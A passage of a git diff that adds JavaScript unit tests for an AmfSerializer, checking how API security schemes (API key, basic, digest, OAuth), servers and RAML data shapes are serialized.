+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'ApiKeyQuery', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'ApiKeyQuery', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.equal(secScheme.description, 'API Key in a query parameter', 'settings has description');
+        assert.equal(secScheme.type, 'Api Key', 'settings has type');
+        
+        const secSettings = /** @type ApiSecurityApiKeySettings */ (secScheme.settings);
+        assert.typeOf(secSettings.sourceMaps, 'object', 'secSettings has source maps');
+        assert.deepEqual(secSettings.customDomainProperties, [], 'secSettings has customDomainProperties');
+        assert.equal(secSettings.in, 'query', 'secSettings has in');
+        assert.equal(secSettings.name, 'X-API-Key', 'secSettings has in');
+      });
+    });
+  });
+
+  describe('RAML security', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'secured-api');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    describe('operation security', () => {
+      it('serializes basic HTTP', () => {
+        const security = loader.lookupOperationSecurity(api, '/basic', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'basic', 'scheme has name');
+
+        const settings = scheme.scheme;
+        assert.include(settings.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(settings.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(settings.headers, [], 'settings has no headers');
+        assert.deepEqual(settings.queryParameters, [], 'settings has no queryParameters');
+        assert.deepEqual(settings.responses, [], 'settings has no responses');
+        assert.typeOf(settings.sourceMaps, 'object', 'settings has source maps');
+        assert.equal(settings.name, 'basic', 'settings has name');
+        assert.equal(settings.description, 'This API supports Basic Authentication.\n', 'settings has description');
+        assert.equal(settings.type, 'Basic Authentication', 'settings has type');
+      });
+
+      it('serializes digest', () => {
+        const security = loader.lookupOperationSecurity(api, '/digest', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'digest', 'scheme has name');
+        
+        const settings = scheme.scheme;
+        assert.include(settings.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(settings.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(settings.headers, [], 'settings has no headers');
+        assert.deepEqual(settings.queryParameters, [], 'settings has no queryParameters');
+        assert.deepEqual(settings.responses, [], 'settings has no responses');
+        assert.typeOf(settings.sourceMaps, 'object', 'settings has source maps');
+        assert.equal(settings.name, 'digest', 'settings has name');
+        assert.equal(settings.description, 'This API supports DigestSecurityScheme Authentication.\n', 'settings has description');
+        assert.equal(settings.type, 'Digest Authentication', 'settings has type');
+      });
+
+      it('serializes passthrough', () => {
+        const security = loader.lookupOperationSecurity(api, '/passthrough', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'passthrough', 'scheme has name');
+        
+        const settings = scheme.scheme;
+        assert.include(settings.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(settings.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.lengthOf(settings.headers, 1, 'settings has headers');
+        assert.lengthOf(settings.queryParameters, 2, 'settings has queryParameters');
+        assert.deepEqual(settings.responses, [], 'settings has no responses');
+        assert.typeOf(settings.sourceMaps, 'object', 'settings has source maps');
+        assert.equal(settings.name, 'passthrough', 'settings has name');
+        assert.equal(settings.description, 'This API supports Pass Through Authentication.\n', 'settings has description');
+        assert.equal(settings.type, 'Pass Through', 'settings has type');
+      });
+
+      it('serializes passthrough with a query string', () => {
+        const security = loader.lookupOperationSecurity(api, '/passthrough-query-string', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'passthroughQueryString', 'scheme has name');
+        
+        const settings = scheme.scheme;
+        assert.include(settings.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(settings.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(settings.headers, [], 'settings has headers');
+        assert.deepEqual(settings.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(settings.responses, [], 'settings has no responses');
+        assert.typeOf(settings.sourceMaps, 'object', 'settings has source maps');
+        assert.typeOf(settings.queryString, 'object', 'settings has queryString');
+        assert.equal(settings.name, 'passthroughQueryString', 'settings has name');
+        assert.equal(settings.description, 'This API supports Pass Through Authentication.\n', 'settings has description');
+        assert.equal(settings.type, 'Pass Through', 'settings has type');
+      });
+
+      it('serializes custom scheme (#1)', () => {
+        const security = loader.lookupOperationSecurity(api, '/custom1', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'custom1', 'scheme has name');
+        
+        const settings = scheme.scheme;
+        assert.include(settings.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(settings.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.lengthOf(settings.headers, 1, 'settings has headers');
+        assert.lengthOf(settings.queryParameters, 2, 'settings has queryParameters');
+        assert.lengthOf(settings.responses, 2, 'settings has responses');
+        assert.typeOf(settings.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(settings.queryString, 'settings has no queryString');
+        assert.equal(settings.name, 'custom1', 'settings has name');
+        assert.typeOf(settings.description, 'string', 'settings has description');
+        assert.equal(settings.type, 'x-my-custom', 'settings has type');
+      });
+
+      it('serializes custom scheme with a query string (#1)', () => {
+        const security = loader.lookupOperationSecurity(api, '/custom-query-string', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        const [scheme] = result.schemes;
+        const settings = scheme.scheme;
+        assert.typeOf(settings.queryString, 'object',  'settings has queryString');
+      });
+
+      it('serializes custom scheme (#2)', () => {
+        const security = loader.lookupOperationSecurity(api, '/custom2', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'custom2', 'scheme has name');
+        
+        const settings = scheme.scheme;
+        assert.include(settings.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(settings.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(settings.headers, [], 'settings has headers');
+        assert.lengthOf(settings.queryParameters, 2, 'settings has queryParameters');
+        assert.lengthOf(settings.responses, 1, 'settings has responses');
+        assert.typeOf(settings.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(settings.queryString, 'settings has no queryString');
+        assert.equal(settings.name, 'custom2', 'settings has name');
+        assert.typeOf(settings.description, 'string', 'settings has description');
+        assert.equal(settings.type, 'x-custom', 'settings has type');
+      });
+
+      it('serializes oauth2 scheme', () => {
+        const security = loader.lookupOperationSecurity(api, '/oauth2', 'post');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'oauth2', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.lengthOf(secScheme.headers, 1, 'settings has headers');
+        assert.lengthOf(secScheme.queryParameters, 1, 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'oauth2', 'settings has name');
+        assert.equal(secScheme.displayName, 'Regular OAuth 2.0 definition', 'settings has displayName');
+        assert.isUndefined(secScheme.description, 'settings has description');
+        assert.equal(secScheme.type, 'OAuth 2.0', 'settings has type');
+
+        const oauth2Settings = /** @type ApiSecurityOAuth2Settings */ (secScheme.settings);
+        assert.deepEqual(oauth2Settings.authorizationGrants, [], 'has the authorizationGrants');
+        assert.lengthOf(oauth2Settings.flows, 1, 'has the flows');
+        assert.typeOf(oauth2Settings.sourceMaps, 'object', 'oauth2Settings has source maps');
+        
+        const [flow] = oauth2Settings.flows;
+        assert.typeOf(flow.scopes, 'array', 'the flow has scopes');
+        assert.lengthOf(flow.scopes, 2, 'the flow has 2 scopes');
+        assert.equal(flow.authorizationUri, 'https://auth.com', 'the flow has authorizationUri');
+        assert.equal(flow.accessTokenUri, 'https://token.com', 'the flow has accessTokenUri');
+      });
+
+      it('serializes oauth2 scheme with annotations', () => {
+        const security = loader.lookupOperationSecurity(api, '/oauth2-with-annotations', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        const [scheme] = result.schemes;
+        const secScheme = scheme.scheme;
+        const oauth2Settings = /** @type ApiSecurityOAuth2Settings */ (secScheme.settings);
+        assert.lengthOf(oauth2Settings.customDomainProperties, 1, 'has custom properties')
+      });
+
+      it('serializes oauth2 scheme with grant types', () => {
+        const security = loader.lookupOperationSecurity(api, '/oauth2-with-grant-list', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        const [scheme] = result.schemes;
+        const secScheme = scheme.scheme;
+        const oauth2Settings = /** @type ApiSecurityOAuth2Settings */ (secScheme.settings);
+        assert.deepEqual(oauth2Settings.authorizationGrants, ['authorization_code'], 'has the authorizationGrants')
+      });
+
+      it('serializes oauth1 scheme', () => {
+        const security = loader.lookupOperationSecurity(api, '/oauth1', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'oauth1', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'oauth1', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.equal(secScheme.description, 'OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.', 'settings has description');
+        assert.equal(secScheme.type, 'OAuth 1.0', 'settings has type');
+
+        const oauth1Settings = /** @type ApiSecurityOAuth1Settings */ (secScheme.settings);
+        assert.deepEqual(oauth1Settings.signatures, ['RSA-SHA1', 'HMAC-SHA1'], 'has the authorizationGrants');
+        assert.equal(oauth1Settings.authorizationUri, 'http://api.domain.com/oauth1/authorize', 'has the authorizationUri');
+        assert.equal(oauth1Settings.requestTokenUri, 'http://api.domain.com/oauth1/request_token', 'has the requestTokenUri');
+        assert.equal(oauth1Settings.tokenCredentialsUri, 'http://api.domain.com/oauth1/access_token', 'has the tokenCredentialsUri');
+        assert.typeOf(oauth1Settings.sourceMaps, 'object', 'oauth2Settings has source maps');
+      });
+    });
+
+  });
+});
diff --git a/test/serializer/Server.test.js b/test/serializer/Server.test.js
new file mode 100644
index 0000000..e9660c7
--- /dev/null
+++ b/test/serializer/Server.test.js
@@ -0,0 +1,89 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/amf').Server} Server */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  [true, false].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      describe('server()', () => {
+        let api;
+        /** @type AmfSerializer */
+        let serializer;
+        /** @type Server[] */
+        let servers;
+    
+        describe('OAS 3', () => {
+          before(async () => {
+            api = await loader.getGraph(compact, 'oas-3-api');
+            serializer = new AmfSerializer(api);
+            servers = loader.lookupServers(api);
+          })
+      
+          it('returns a server object', () => {
+            const result = serializer.server(servers[3]);
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.include(result.types, serializer.ns.aml.vocabularies.apiContract.Server, 'has the server type');
+            assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+          });
+      
+          it('has the id', () => {
+            const result = serializer.server(servers[3]);
+            assert.typeOf(result.id, 'string');
+          });
+      
+          it('has the url', () => {
+            const result = serializer.server(servers[3]);
+            assert.equal(result.url, 'https://{username}.gigantic-server.com:{port}/{basePath}');
+          });
+      
+          it('has the variables', () => {
+            const result = serializer.server(servers[3]);
+            assert.typeOf(result.variables, 'array', 'has the variables property');
+            assert.lengthOf(result.variables, 3, 'has all variables');
+            const [v1] = result.variables;
+            assert.typeOf(v1, 'object', 'the variable is an object');
+            assert.include(v1.types, serializer.ns.aml.vocabularies.apiContract.Parameter, 'has the Parameter type');
+          });
+
+          it('has the description', () => {
+            const result = serializer.server(servers[1]);
+            assert.equal(result.description, 'Staging server');
+          });
+        });
+        
+        describe('Async API', () => {
+          before(async () => {
+            api = await loader.getGraph(compact, 'async-api');
+            serializer = new AmfSerializer(api);
+            servers = loader.lookupServers(api);
+          });
+
+          it('returns the server object', () => {
+            const result = serializer.server(servers[0]);
+            assert.typeOf(result, 'object', 'returns an object');
+            assert.include(result.types, serializer.ns.aml.vocabularies.apiContract.Server, 'has the server type');
+            assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+          });
+
+          it('has the protocol info', () => {
+            const result = serializer.server(servers[0]);
+            assert.equal(result.protocol, 'amqp', 'has the protocol');
+            assert.equal(result.protocolVersion, '1.0.0', 'has the protocolVersion');
+          });
+
+          it('has the security', () => {
+            const result = serializer.server(servers[0]);
+            assert.typeOf(result.security, 'array', 'has the security');
+            assert.lengthOf(result.security, 2, 'has all security');
+            const [security] = result.security;
+            assert.lengthOf(security.schemes, 1, 'has the security.schema');            
+          });
+        });
+      });
+    });
+  });
+});
diff --git a/test/serializer/Shapes.test.js b/test/serializer/Shapes.test.js
new file mode 100644
index 0000000..853fc68
--- /dev/null
+++ b/test/serializer/Shapes.test.js
@@ -0,0 +1,290 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/amf').Server} Server */
+/** @typedef {import('../../src/helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../../src/helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../src/helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../../src/helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../src/helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../../src/helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../../src/helpers/api').ApiRecursiveShape} ApiRecursiveShape */
+/** @typedef {import('../../src/helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('../../src/helpers/api').ApiSchemaShape} ApiSchemaShape */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('RAML shapes', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'amf-helper-api');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('processes an ArrayShape', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Arrable');
+      const result = /** @type ApiArrayShape */ (serializer.unknownShape(shape));
+      assert.equal(result.id, shape['@id'], 'has the id');
+      assert.include(result.types, serializer.ns.aml.vocabularies.shapes.ArrayShape, 'has the ArrayShape type');
+      assert.equal(result.name, 'Arrable', 'has the name');
+      assert.deepEqual(result.examples, [], 'has empty examples');
+      assert.deepEqual(result.values, [], 'has empty values');
+      assert.deepEqual(result.inherits, [], 'has empty inherits');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.and, [], 'has empty and');
+      assert.deepEqual(result.xone, [], 'has empty xone');
+      assert.deepEqual(result.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.typeOf(result.items, 'object', 'has the items');
+      assert.include(result.items.types, serializer.ns.w3.shacl.NodeShape, 'items has the NodeShape type');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes a NodeShape', () => {
+      const shape = loader.lookupDeclaredShape(api, 'AppPerson');
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      assert.equal(result.id, shape['@id'], 'has the id');
+      assert.include(result.types, serializer.ns.w3.shacl.NodeShape, 'has the NodeShape type');
+      assert.equal(result.name, 'AppPerson', 'has the name');
+      assert.typeOf(result.description, 'string', 'has the description');
+      assert.lengthOf(result.examples, 1, 'has an example');
+      assert.include(result.examples[0].types, serializer.ns.aml.vocabularies.apiContract.Example, 'example has the Example type');
+      assert.deepEqual(result.values, [], 'has empty values');
+      assert.deepEqual(result.inherits, [], 'has empty inherits');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.and, [], 'has empty and');
+      assert.deepEqual(result.xone, [], 'has empty xone');
+      assert.deepEqual(result.customShapeProperties, [], 'has empty customShapeProperties');
+      assert.deepEqual(result.customShapePropertyDefinitions, [], 'has empty customShapePropertyDefinitions');
+      assert.deepEqual(result.dependencies, [], 'has empty dependencies');
+      assert.deepEqual(result.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.isFalse(result.closed, 'has the closed');
+      assert.typeOf(result.properties, 'array', 'has the properties');
+      assert.isNotEmpty(result.properties, 'the properties is not empty');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes an UnionShape', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Unionable');
+      const result = /** @type ApiUnionShape */ (serializer.unknownShape(shape));
+      assert.equal(result.id, shape['@id'], 'has the id');
+      assert.include(result.types, serializer.ns.aml.vocabularies.shapes.UnionShape, 'has the NodeShape type');
+      assert.equal(result.name, 'Unionable', 'has the name');
+      assert.isUndefined(result.description, 'has no description');
+      assert.deepEqual(result.examples, [], 'has no examples');
+      assert.deepEqual(result.values, [], 'has empty values');
+      assert.deepEqual(result.inherits, [], 'has empty inherits');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.and, [], 'has empty and');
+      assert.deepEqual(result.xone, [], 'has empty xone');
+      assert.deepEqual(result.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.typeOf(result.anyOf, 'array', 'has the anyOf');
+      assert.lengthOf(result.anyOf, 2, 'has all anyOf');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+      const [any1] = result.anyOf;
+      assert.typeOf(any1.id, 'string', 'has the anyOf definition as Shape');
+      assert.typeOf(any1.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes a ScalarShape', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Feature');
+      const result = /** @type ApiScalarShape */ (serializer.unknownShape(shape));
+      assert.equal(result.id, shape['@id'], 'has the id');
+      assert.include(result.types, serializer.ns.aml.vocabularies.shapes.ScalarShape, 'has the NodeShape type');
+      assert.equal(result.name, 'Feature', 'has the name');
+      assert.typeOf(result.description, 'string', 'has the description');
+      assert.deepEqual(result.examples, [], 'has no examples');
+      assert.deepEqual(result.inherits, [], 'has empty inherits');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.and, [], 'has empty and');
+      assert.deepEqual(result.xone, [], 'has empty xone');
+      assert.deepEqual(result.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.equal(result.dataType, 'http://www.w3.org/2001/XMLSchema#string', 'has the dataType');
+      assert.lengthOf(result.values, 3, 'has the values set');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes a ScalarShape with enum values', () => {
+      const shape = loader.lookupDeclaredShape(api, 'Feature');
+      const result = /** @type ApiScalarShape */ (serializer.unknownShape(shape));
+      const [v1, v2, v3] = /** @type ApiScalarNode[] */ (result.values);
+      assert.include(v1.types, serializer.ns.aml.vocabularies.data.Scalar, 'v1 has the type');
+      assert.include(v2.types, serializer.ns.aml.vocabularies.data.Scalar, 'v2 has the type');
+      assert.include(v3.types, serializer.ns.aml.vocabularies.data.Scalar, 'v3 has the type');
+      assert.equal(v1.name, 'scalar_1', 'v1 has the name');
+      assert.equal(v2.name, 'scalar_2', 'v2 has the name');
+      assert.equal(v3.name, 'scalar_3', 'v3 has the name');
+      assert.equal(v1.value, 'A', 'v1 has the value');
+      assert.equal(v2.value, 'B', 'v2 has the value');
+      assert.equal(v3.value, 'C', 'v3 has the value');
+      assert.equal(v1.dataType, serializer.ns.w3.xmlSchema.string, 'v1 has the dataType');
+      assert.equal(v2.dataType, serializer.ns.w3.xmlSchema.string, 'v2 has the dataType');
+      assert.equal(v3.dataType, serializer.ns.w3.xmlSchema.string, 'v3 has the dataType');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes a FileShape with enum values', () => {
+      const shape = loader.lookupDeclaredShape(api, 'MaFile');
+      const result = /** @type ApiFileShape */ (serializer.unknownShape(shape));
+
+      assert.equal(result.id, shape['@id'], 'has the id');
+      assert.include(result.types, serializer.ns.aml.vocabularies.shapes.FileShape, 'has the FileShape type');
+      assert.equal(result.name, 'MaFile', 'has the name');
+      assert.typeOf(result.description, 'string', 'has the description');
+      assert.deepEqual(result.examples, [], 'has no examples');
+      assert.deepEqual(result.inherits, [], 'has empty inherits');
+      assert.deepEqual(result.or, [], 'has empty or');
+      assert.deepEqual(result.and, [], 'has empty and');
+      assert.deepEqual(result.xone, [], 'has empty xone');
+      assert.deepEqual(result.values, [], 'has empty values');
+      assert.deepEqual(result.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.deepEqual(result.fileTypes, ['image/png', 'image/jpeg', 'image/jpg', 'image/gif'], 'has the fileTypes');
+      assert.equal(result.minLength, 1, 'has the minLength set');
+      assert.equal(result.maxLength, 10, 'has the maxLength set');
+      assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+    });
+
+    it('processes a RecursiveShape', () => {
+      const shape = loader.lookupDeclaredShape(api, 'RecursiveShape');
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      const item = /** @type ApiRecursiveShape */ (result.properties[1].range);
+      assert.typeOf(item.id, 'string', 'has the id');
+      assert.include(item.types, serializer.ns.aml.vocabularies.shapes.RecursiveShape, 'has the RecursiveShape type');
+      assert.equal(item.name, 'relatedTo', 'has the name');
+      assert.typeOf(item.description, 'string', 'has the description');
+      assert.deepEqual(item.inherits, [], 'has empty inherits');
+      assert.deepEqual(item.or, [], 'has empty or');
+      assert.deepEqual(item.and, [], 'has empty and');
+      assert.deepEqual(item.xone, [], 'has empty xone');
+      assert.deepEqual(item.values, [], 'has empty values');
+      assert.deepEqual(item.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.typeOf(item.fixPoint, 'string', 'has the fixPoint');
+    });
+
+    it('processes a custom domain properties', () => {
+      const shape = loader.lookupDeclaredShape(api, 'RecursiveShape');
+      const result = /** @type ApiNodeShape */ (serializer.unknownShape(shape));
+      const cdp = /** @type ApiCustomDomainProperty[] */ (result.customDomainProperties);
+      assert.typeOf(cdp, 'array', 'has the properties');
+      assert.lengthOf(cdp, 1, 'has a single property');
+      const [item] = cdp;
+      assert.typeOf(item.id, 'string', 'has the id');
+      assert.include(item.extension.types, serializer.ns.aml.vocabularies.data.Scalar, 'has the Scalar type');
+      assert.equal(item.name, 'deprecated', 'has the extensionName');
+      // @ts-ignore
+      assert.typeOf(item.extension.value, 'string', 'has the value');
+    });
+
+    it('processes a SchemaShape', () => {
